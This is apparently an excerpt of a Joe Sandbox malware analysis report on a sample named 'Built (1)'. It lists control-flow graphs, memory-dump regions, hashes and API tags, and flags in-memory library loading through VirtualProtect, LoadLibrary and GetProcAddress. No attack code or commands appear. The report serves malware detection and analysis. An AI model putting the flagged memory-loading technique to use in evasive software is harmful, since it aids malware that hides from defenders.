1119->1125 1129 7ffdff1a95e0 1121->1129 1130 7ffdff1a94d0-7ffdff1a94d5 1121->1130 1122->1121 1131 7ffdff1a9452-7ffdff1a9459 1122->1131 1133 7ffdff1a93de-7ffdff1a942e 00007FFE1A462010 * 2 1123->1133 1124->1133 1125->1125 1134 7ffdff1a9149-7ffdff1a914f 1125->1134 1128 7ffdff1a92c0-7ffdff1a92c7 1126->1128 1127->1126 1128->1128 1136 7ffdff1a92c9-7ffdff1a92d0 1128->1136 1135 7ffdff1a95e5-7ffdff1a95f3 1129->1135 1130->1129 1137 7ffdff1a94db-7ffdff1a9507 call 7ffdff1a01a0 1130->1137 1138 7ffdff1a945b-7ffdff1a9465 1131->1138 1139 7ffdff1a94a4 1131->1139 1133->1122 1134->1094 1140 7ffdff1a95f6-7ffdff1a95f9 1135->1140 1141 7ffdff1a92d7-7ffdff1a92de 1136->1141 1148 7ffdff1a950a-7ffdff1a952a 1137->1148 1142 7ffdff1a9467 1138->1142 1143 7ffdff1a946d-7ffdff1a949a 1138->1143 1139->1121 1145 7ffdff1a96a8-7ffdff1a96b2 1140->1145 1146 7ffdff1a95ff-7ffdff1a9618 call 7ffdff1a85f0 1140->1146 1141->1141 1147 7ffdff1a92e0-7ffdff1a92f7 1141->1147 1142->1143 1143->1121 1183 7ffdff1a949c-7ffdff1a94a2 1143->1183 1156 7ffdff1a96c0-7ffdff1a96d3 call 7ffdff1a44c0 1145->1156 1157 7ffdff1a96b4-7ffdff1a96bd 1145->1157 1146->1145 1168 7ffdff1a961e-7ffdff1a96a2 1146->1168 1151 7ffdff1a9347-7ffdff1a934e 1147->1151 1152 7ffdff1a92f9 1147->1152 1153 7ffdff1a95db-7ffdff1a95de 1148->1153 1154 7ffdff1a9530-7ffdff1a953a 1148->1154 1149->1105 1162 7ffdff1a9350-7ffdff1a9357 1151->1162 1163 7ffdff1a9372-7ffdff1a9379 1151->1163 1159 7ffdff1a9300-7ffdff1a9307 1152->1159 1153->1140 1160 7ffdff1a953c-7ffdff1a953e 1154->1160 1161 7ffdff1a9540-7ffdff1a9543 1154->1161 1175 7ffdff1a96d9-7ffdff1a96e3 1156->1175 1176 7ffdff1a981d-7ffdff1a9829 1156->1176 1157->1156 1169 7ffdff1a9310-7ffdff1a9319 1159->1169 1170 7ffdff1a9545-7ffdff1a954d 1160->1170 1161->1170 1162->1094 1172 7ffdff1a935d-7ffdff1a936c call 7ffdff254590 1162->1172 1166 7ffdff1a937b-7ffdff1a9385 1163->1166 1167 7ffdff1a93ca 1163->1167 1177 7ffdff1a9387 1166->1177 1178 7ffdff1a938d-7ffdff1a93ba 1166->1178 1191 7ffdff1a93d3-7ffdff1a93d6 1167->1191 1195 7ffdff1a9706-7ffdff1a970c 1168->1195 1196 7ffdff1a96a4 1168->1196 1169->1169 1179 7ffdff1a931b-7ffdff1a9329 1169->1179 1181 7ffdff1a954f-7ffdff1a9563 call 7ffdff1a79d0 1170->1181 1182 7ffdff1a9571-7ffdff1a9587 call 7ffdff255560 1170->1182 1172->1094 1172->1163 1186 7ffdff1a96e5 1175->1186 1187 7ffdff1a96eb-7ffdff1a96fe 1175->1187 1176->1114 1177->1178 1178->1191 1213 7ffdff1a93bc-7ffdff1a93c5 1178->1213 1189 7ffdff1a9330-7ffdff1a9339 1179->1189 1181->1182 1206 7ffdff1a9565-7ffdff1a956a 1181->1206 1201 7ffdff1a9589-7ffdff1a959d call 7ffdff20d4c0 1182->1201 1202 7ffdff1a959f 1182->1202 1183->1121 1186->1187 1187->1195 1189->1189 1197 7ffdff1a933b-7ffdff1a9345 1189->1197 1191->1114 1204 7ffdff1a9735-7ffdff1a9745 1195->1204 1205 7ffdff1a970e-7ffdff1a9731 1195->1205 1196->1145 1197->1151 1197->1159 1208 7ffdff1a95a1-7ffdff1a95a6 1201->1208 1202->1208 1216 7ffdff1a9747 1204->1216 1217 7ffdff1a974d-7ffdff1a977e 1204->1217 1205->1204 1206->1182 1211 7ffdff1a95a8-7ffdff1a95be call 7ffdff255560 1208->1211 1212 7ffdff1a95d3-7ffdff1a95d9 1208->1212 1211->1153 1223 7ffdff1a95c0-7ffdff1a95d1 call 7ffdff20d4c0 1211->1223 1212->1135 1213->1114 1216->1217 1220 7ffdff1a9780-7ffdff1a978f 1217->1220 1221 7ffdff1a9791-7ffdff1a9798 1217->1221 1222 7ffdff1a979c-7ffdff1a97be call 7ffdff1a79d0 1220->1222 1221->1222 1228 7ffdff1a97c6-7ffdff1a97c9 1222->1228 1229 7ffdff1a97c0-7ffdff1a97c4 1222->1229 1223->1153 1223->1212 1231 7ffdff1a97cb-7ffdff1a97ce 1228->1231 1232 7ffdff1a97d0 1228->1232 1230 7ffdff1a97d4-7ffdff1a97e6 1229->1230 1233 7ffdff1a97e8-7ffdff1a97ef 1230->1233 1234 7ffdff1a97f1-7ffdff1a9803 1230->1234 1231->1230 1231->1232 1232->1230 1235 7ffdff1a9807-7ffdff1a981b 1233->1235 1234->1235 1235->1114
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: -journal$immutable$nolock
                                              • API String ID: 1130837773-4201244970
                                              • Opcode ID: 6a574b43980d171a71ab151db58e387a8cbc707bc2961eeb57803902e9c14642
                                              • Instruction ID: 32df3fdeee118a1a5558f90ef3a145844c9085b17e934dab5fc9ec05b972e86f
                                              • Opcode Fuzzy Hash: 6a574b43980d171a71ab151db58e387a8cbc707bc2961eeb57803902e9c14642
                                              • Instruction Fuzzy Hash: A2326C23B0968286EB658F259460B7937A1BF44BA4F484335CA7E8B7D8DF3CE495C710
                                              Function 00007FFDFB896100 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 900librarymemoryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907431306.00007FFDFB896000.00000080.00000001.01000000.00000004.sdmp, Offset: 00007FFDFB1E0000, based on PE: true
                                              • Associated: 00000001.00000002.1906612158.00007FFDFB1E0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB1E1000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB485000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB48F000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB492000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB507000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB5D2000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB6D3000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB6D7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB7D1000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB7DC000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB854000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1906643440.00007FFDFB889000.00000040.00000001.01000000.00000004.sdmpDownload File
                                              • Associated: 00000001.00000002.1907459490.00007FFDFB897000.00000004.00000001.01000000.00000004.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfb1e0000_Built (1).jbxd
                                              Similarity
                                              • API ID: ProtectVirtual$AddressLibraryLoadProc
                                              • String ID: Ak
                                              • API String ID: 3300690313-3610464776
                                              • Opcode ID: d93b86e1481a26c1f0cee893d53729707af8e2084fc28336127e3022a4665254
                                              • Instruction ID: 50601ba606f0c0e82d8d10b3bbf8a41b766ad99bd3aea7339b16a92119ff4e35
                                              • Opcode Fuzzy Hash: d93b86e1481a26c1f0cee893d53729707af8e2084fc28336127e3022a4665254
                                              • Instruction Fuzzy Hash: F6622C6272919387EB158F38D91067D7BA0F794B89F045531EAAEC37D8EA3CEA45C700
                                              Function 00007FFDFF214200 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 372COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1905 7ffdff214200-7ffdff2142d1 call 7ffdff2c36ac 1908 7ffdff2142d3-7ffdff2142e5 1905->1908 1909 7ffdff2142e8-7ffdff2142ec 1905->1909 1908->1909 1910 7ffdff2142ee-7ffdff214307 call 7ffdff19a4b0 1909->1910 1911 7ffdff21430c-7ffdff214312 1909->1911 1920 7ffdff21477c-7ffdff2147aa call 7ffdff213f50 call 7ffdff2c28c0 1910->1920 1913 7ffdff214314-7ffdff21431e 1911->1913 1914 7ffdff214325-7ffdff21432d 1911->1914 1913->1914 1916 7ffdff214403-7ffdff21440b 1914->1916 1917 7ffdff214333-7ffdff214339 1914->1917 1918 7ffdff21440d-7ffdff214410 call 7ffdff22d4e0 1916->1918 1919 7ffdff214415-7ffdff214418 1916->1919 1921 7ffdff2143fe 1917->1921 1922 7ffdff21433f 1917->1922 1918->1919 1926 7ffdff2144bd-7ffdff2144c5 call 7ffdff24e750 1919->1926 1927 7ffdff21441e 1919->1927 1921->1916 1925 7ffdff214342-7ffdff21434e 1922->1925 1929 7ffdff2143c0-7ffdff2143cb 1925->1929 1930 7ffdff214350-7ffdff214354 1925->1930 1939 7ffdff2144ca-7ffdff2144cd 1926->1939 1932 7ffdff214420-7ffdff214426 1927->1932 1933 7ffdff21442c-7ffdff214433 1927->1933 1940 7ffdff2143cd-7ffdff2143cf 1929->1940 1941 7ffdff2143f9 1929->1941 1934 7ffdff214356-7ffdff21435d 1930->1934 1935 7ffdff214369-7ffdff214371 1930->1935 1932->1926 1932->1933 1936 7ffdff21445d-7ffdff214460 1933->1936 1937 7ffdff214435-7ffdff214458 call 7ffdff19a320 call 7ffdff196ce0 1933->1937 1934->1935 1944 7ffdff21435f-7ffdff214367 call 7ffdff1af990 1934->1944 1935->1929 1949 7ffdff214373-7ffdff21437a 1935->1949 1947 7ffdff2144b0-7ffdff2144bb 1936->1947 1948 7ffdff214462-7ffdff214474 call 7ffdff196840 1936->1948 1937->1920 1942 7ffdff2144cf-7ffdff2144d6 1939->1942 1943 7ffdff2144d9-7ffdff2144e5 1939->1943 1940->1925 1941->1921 1942->1943 1952 7ffdff2144e7-7ffdff2144f3 1943->1952 1953 7ffdff21454a-7ffdff21454e 1943->1953 1944->1935 1947->1939 1948->1947 1975 7ffdff214476-7ffdff2144ae 00007FFE1A462010 call 7ffdff24e750 call 7ffdff1963c0 1948->1975 1954 7ffdff214389-7ffdff214390 1949->1954 1955 7ffdff21437c-7ffdff214380 1949->1955 1952->1953 1961 7ffdff2144f5-7ffdff2144ff 1952->1961 1957 7ffdff214550-7ffdff21455e 1953->1957 1958 7ffdff214563-7ffdff214569 1953->1958 1964 7ffdff214392-7ffdff214395 1954->1964 1965 7ffdff2143ac 1954->1965 1955->1954 1963 7ffdff214382-7ffdff214387 1955->1963 1966 7ffdff214698-7ffdff21469b 1957->1966 1967 7ffdff21456f-7ffdff214572 1958->1967 1968 7ffdff214715-7ffdff214733 1958->1968 1970 7ffdff214501 1961->1970 1971 7ffdff21450b-7ffdff214511 1961->1971 1972 7ffdff2143ae-7ffdff2143b2 1963->1972 1973 7ffdff2143a3-7ffdff2143aa 1964->1973 1974 7ffdff214397-7ffdff21439b 1964->1974 1965->1972 1978 7ffdff21469d-7ffdff2146a4 1966->1978 1979 7ffdff2146b6-7ffdff2146c2 1966->1979 1967->1968 1980 7ffdff214578-7ffdff21457d 1967->1980 1981 7ffdff214750-7ffdff214757 1968->1981 1982 7ffdff214735-7ffdff21473e 1968->1982 1970->1971 1983 7ffdff214513-7ffdff214525 call 7ffdff196840 1971->1983 1984 7ffdff21453c 1971->1984 1976 7ffdff2143b4-7ffdff2143b7 call 7ffdff1af960 1972->1976 1977 7ffdff2143bc-7ffdff2143be 1972->1977 1973->1964 1973->1965 1974->1973 1986 7ffdff21439d-7ffdff2143a1 1974->1986 1975->1939 1976->1977 1977->1929 1988 7ffdff2143d4-7ffdff2143f4 call 7ffdff19a320 1977->1988 1989 7ffdff2146ae-7ffdff2146b1 call 7ffdff1c55c0 1978->1989 1990 7ffdff2146a6-7ffdff2146a9 call 7ffdff1c5450 1978->1990 1994 7ffdff2146c4-7ffdff2146dd call 7ffdff19a320 1979->1994 1995 7ffdff2146e9-7ffdff2146f2 1979->1995 1980->1966 1991 7ffdff214583-7ffdff21458a 1980->1991 1981->1920 1997 7ffdff214759 1981->1997 1992 7ffdff214740-7ffdff214748 call 7ffdff1c00f0 1982->1992 1993 7ffdff21474a 1982->1993 1999 7ffdff21453e-7ffdff214545 1983->1999 2017 7ffdff214527-7ffdff21453a 00007FFE1A462010 1983->2017 1984->1999 1986->1963 1986->1973 1988->1920 1989->1979 1990->1989 1991->1966 2007 7ffdff214590-7ffdff21459c 1991->2007 1992->1981 1993->1981 1994->1981 2023 7ffdff2146df-7ffdff2146e7 call 7ffdff1963c0 1994->2023 2000 7ffdff2146f4-7ffdff2146fc 1995->2000 2001 7ffdff214707-7ffdff214713 call 7ffdff19a200 1995->2001 2005 7ffdff214760-7ffdff21477a call 7ffdff1963c0 1997->2005 1999->1953 2000->2001 2011 7ffdff2146fe-7ffdff214705 2000->2011 2001->1981 2005->1920 2007->1966 2014 7ffdff2145a2-7ffdff2145ac 2007->2014 2011->1981 2022 7ffdff2145b0-7ffdff2145c4 2014->2022 2017->1999 2024 7ffdff21467d-7ffdff214688 2022->2024 2025 7ffdff2145ca-7ffdff2145ce 2022->2025 2023->1981 2024->2022 2027 7ffdff21468e-7ffdff214693 2024->2027 2028 7ffdff2145d0-7ffdff2145e2 call 7ffdff1b3270 2025->2028 2029 7ffdff214608-7ffdff214610 2025->2029 2027->1966 2042 7ffdff2145e4-7ffdff2145e9 2028->2042 2043 7ffdff2145eb-7ffdff2145f3 call 7ffdff196c00 2028->2043 2031 7ffdff214612-7ffdff214619 2029->2031 2032 7ffdff214623-7ffdff214636 2029->2032 2031->2032 2034 7ffdff21461b-7ffdff21461e call 7ffdff1af990 2031->2034 2035 7ffdff214646-7ffdff214652 2032->2035 2036 7ffdff214638-7ffdff21463c 2032->2036 2034->2032 2040 7ffdff21466e-7ffdff214673 2035->2040 2041 7ffdff214654-7ffdff214669 call 7ffdff1f09c0 2035->2041 2036->2035 2039 7ffdff21463e-7ffdff214641 call 7ffdff1af960 2036->2039 2039->2035 2040->2024 2046 7ffdff214675-7ffdff214678 call 7ffdff1b4660 2040->2046 2041->2040 2042->2043 2047 7ffdff2145f7-7ffdff2145fa 2042->2047 2043->2047 2046->2024 2047->2027 2049 7ffdff214600 2047->2049 2049->2029
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: database schema is locked: %s$out of memory$statement too long
                                              • API String ID: 1130837773-1046679716
                                              • Opcode ID: d00a37129bb86d1f29f149477bb8060345d6ffd4314834cee3b3abcb4bd67c7c
                                              • Instruction ID: c3fcd61fcc9c51dc3b15647dc4169c46873f3d9353dc155ff62f3901ca9a2d58
                                              • Opcode Fuzzy Hash: d00a37129bb86d1f29f149477bb8060345d6ffd4314834cee3b3abcb4bd67c7c
                                              • Instruction Fuzzy Hash: CDF1A422B0868296EB25CF2194A4BBA6790FB86B48F180235DA7DC77DDCF7CE545C704
                                              Function 00007FFE11EB2140 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908465592.00007FFE11EB2000.00000080.00000001.01000000.00000011.sdmp, Offset: 00007FFE11EA0000, based on PE: true
                                              • Associated: 00000001.00000002.1908309495.00007FFE11EA0000.00000002.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EAE000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EB1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ea0000_Built (1).jbxd
                                              Similarity
                                              • API ID: ProtectVirtual$AddressLibraryLoadProc
                                              • String ID:
                                              • API String ID: 3300690313-0
                                              • Opcode ID: c30523a7af7395c8e7786693fb27a62d8159be265b8460ea7db0d269c4d0bd13
                                              • Instruction ID: 437a36ff86b53acf60f8e06d62f5f6102da052af314de5c9ef1bd58d668df714
                                              • Opcode Fuzzy Hash: c30523a7af7395c8e7786693fb27a62d8159be265b8460ea7db0d269c4d0bd13
                                              • Instruction Fuzzy Hash: BB62692262899386E7198E79D84037E7794FB48395F045532EA9FC37E4EA3CFA45C704
                                              Function 00007FFDFB1AF160 Relevance: 6.8, APIs: 4, Instructions: 850librarymemoryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1906543472.00007FFDFB1AF000.00000080.00000001.01000000.00000010.sdmp, Offset: 00007FFDFACB0000, based on PE: true
                                              • Associated: 00000001.00000002.1905653882.00007FFDFACB0000.00000002.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFACB1000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFACC2000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFACD2000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFACD8000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFAD22000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFAD37000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFAD47000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFAD4E000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFAD5C000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB020000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB022000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB059000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB096000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB0F1000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB161000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB196000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1905686128.00007FFDFB1A9000.00000040.00000001.01000000.00000010.sdmpDownload File
                                              • Associated: 00000001.00000002.1906572307.00007FFDFB1B0000.00000004.00000001.01000000.00000010.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfacb0000_Built (1).jbxd
                                              Similarity
                                              • API ID: ProtectVirtual$AddressLibraryLoadProc
                                              • String ID:
                                              • API String ID: 3300690313-0
                                              • Opcode ID: 9303a6f8cfca9bd28e22bda977947a27f0d72090a782595ff5d89924e4e259ae
                                              • Instruction ID: be0304f30339377ccbf404fe432d04c8a7b912f8c8199c43a31ecee89ae17652
                                              • Opcode Fuzzy Hash: 9303a6f8cfca9bd28e22bda977947a27f0d72090a782595ff5d89924e4e259ae
                                              • Instruction Fuzzy Hash: 14624523B2819286E7158E38D42077D77A4F758789F045532EAAEC77D8EA3CFA05CB00
                                              Function 00007FFDFF1B1D20 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 587COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: :memory:
                                              • API String ID: 1130837773-2920599690
                                              • Opcode ID: 31932954360360250c271479e393feaac43e055a5c451d7b1cfab28ba01a22e2
                                              • Instruction ID: 87e5ef2fee62e200bc2dc85c1e22c2780c9b3d06547f4cb73d31b05dddceee77
                                              • Opcode Fuzzy Hash: 31932954360360250c271479e393feaac43e055a5c451d7b1cfab28ba01a22e2
                                              • Instruction Fuzzy Hash: F4427B23F09782C2EB658B259464B7927A0FB55B88F044235DA7E977D8DF7CE898C300
                                              Function 00007FFDFF1A13E0 Relevance: 1.7, APIs: 1, Instructions: 204COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: InfoSystem
                                              • String ID:
                                              • API String ID: 31276548-0
                                              • Opcode ID: a52f27f815cbc4ee5365eb1907900fbb2842eeff1a916013cd396e0e12836456
                                              • Instruction ID: 231fde547ce1ab9d4661810a2c333cc980bdfb95c81412aa8c8334f3319b0be7
                                              • Opcode Fuzzy Hash: a52f27f815cbc4ee5365eb1907900fbb2842eeff1a916013cd396e0e12836456
                                              • Instruction Fuzzy Hash: 15A1E626F1AB83C1FF548B55A874A7423A0BF55B80F540735C93EDA3E8DF6CE8958A00
                                              Function 00007FFE11EC5B60 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 192COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 178 7ffe11ec5b60-7ffe11ec5b7d 179 7ffe11ec5b7f-7ffe11ec5b88 call 7ffe11ecf1b8 178->179 180 7ffe11ec5b8e-7ffe11ec5b92 178->180 179->180 188 7ffe11ecd1d0-7ffe11ecd1f2 call 7ffe11ecf1b8 call 7ffe11ecf4b8 179->188 182 7ffe11ec5b98-7ffe11ec5b9d 180->182 183 7ffe11ecd1f7-7ffe11ecd218 call 7ffe11ecf1c0 call 7ffe11ecf208 180->183 185 7ffe11ec5f41-7ffe11ec5f56 call 7ffe11ecf4e8 182->185 186 7ffe11ec5ba3-7ffe11ec5ba6 182->186 185->188 190 7ffe11ec5bac-7ffe11ec5bc3 call 7ffe11ecf110 186->190 191 7ffe11ec5e81-7ffe11ec5e93 call 7ffe11ecf518 186->191 204 7ffe11ec5d9b-7ffe11ec5d9d 188->204 203 7ffe11ec5bc9-7ffe11ec5be3 call 7ffe11ecf478 190->203 190->204 191->190 205 7ffe11ec5e99 191->205 203->204 210 7ffe11ec5be9-7ffe11ec5c0e call 7ffe11ecf710 203->210 208 7ffe11ec5d40-7ffe11ec5d50 204->208 205->204 213 7ffe11ec5ee4-7ffe11ec5ef8 call 7ffe11ecf4e8 210->213 214 7ffe11ec5c14-7ffe11ec5c1b 210->214 213->204 214->214 216 7ffe11ec5c1d-7ffe11ec5c20 214->216 218 7ffe11ec5e68-7ffe11ec5e7c call 7ffe11ecf4e8 216->218 219 7ffe11ec5c26-7ffe11ec5c4f call 7ffe11ecf470 call 7ffe11ecf760 216->219 218->204 225 7ffe11ec5c55-7ffe11ec5c62 call 7ffe11ecf238 219->225 228 7ffe11ec5c68-7ffe11ec5c79 225->228 229 7ffe11ec5d90-7ffe11ec5d96 call 7ffe11ec58d0 225->229 230 7ffe11ec5da0-7ffe11ec5da6 228->230 231 7ffe11ec5c7f-7ffe11ec5c86 228->231 229->204 235 7ffe11ec5db8-7ffe11ec5dbe 230->235 236 7ffe11ec5da8-7ffe11ec5db1 230->236 233 7ffe11ec5d0c-7ffe11ec5d1f call 7ffe11ecf210 231->233 234 7ffe11ec5c8c-7ffe11ec5c92 231->234 248 7ffe11ec5e1e-7ffe11ec5e2e call 7ffe11ecf7b8 233->248 249 7ffe11ec5d25-7ffe11ec5d3d call 7ffe11ecf1a0 233->249 239 7ffe11ec5c98-7ffe11ec5cb0 00007FFE1FFB6A30 234->239 240 7ffe11ec5d51-7ffe11ec5d57 234->240 237 7ffe11ec5e0a-7ffe11ec5e18 call 7ffe11ecf4e8 235->237 238 7ffe11ec5dc0-7ffe11ec5dd4 235->238 236->230 241 7ffe11ec5db3 236->241 237->248 238->237 246 7ffe11ec5d86-7ffe11ec5d8b 239->246 247 7ffe11ec5cb6-7ffe11ec5cce 00007FFE1FFB6A30 239->247 240->239 245 7ffe11ec5d5d-7ffe11ec5d70 240->245 245->246 246->233 247->246 250 7ffe11ec5cd4-7ffe11ec5cec 00007FFE1FFB6A30 247->250 248->208 249->208 250->246 253 7ffe11ec5cf2-7ffe11ec5d0a 00007FFE1FFB6A30 250->253 253->233 253->246
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFE11EC0000, based on PE: true
                                              • Associated: 00000001.00000002.1908523800.00007FFE11EC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11ED9000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11EDF000.00000040.00000001.01000000.0000000A.sdmpDownload File
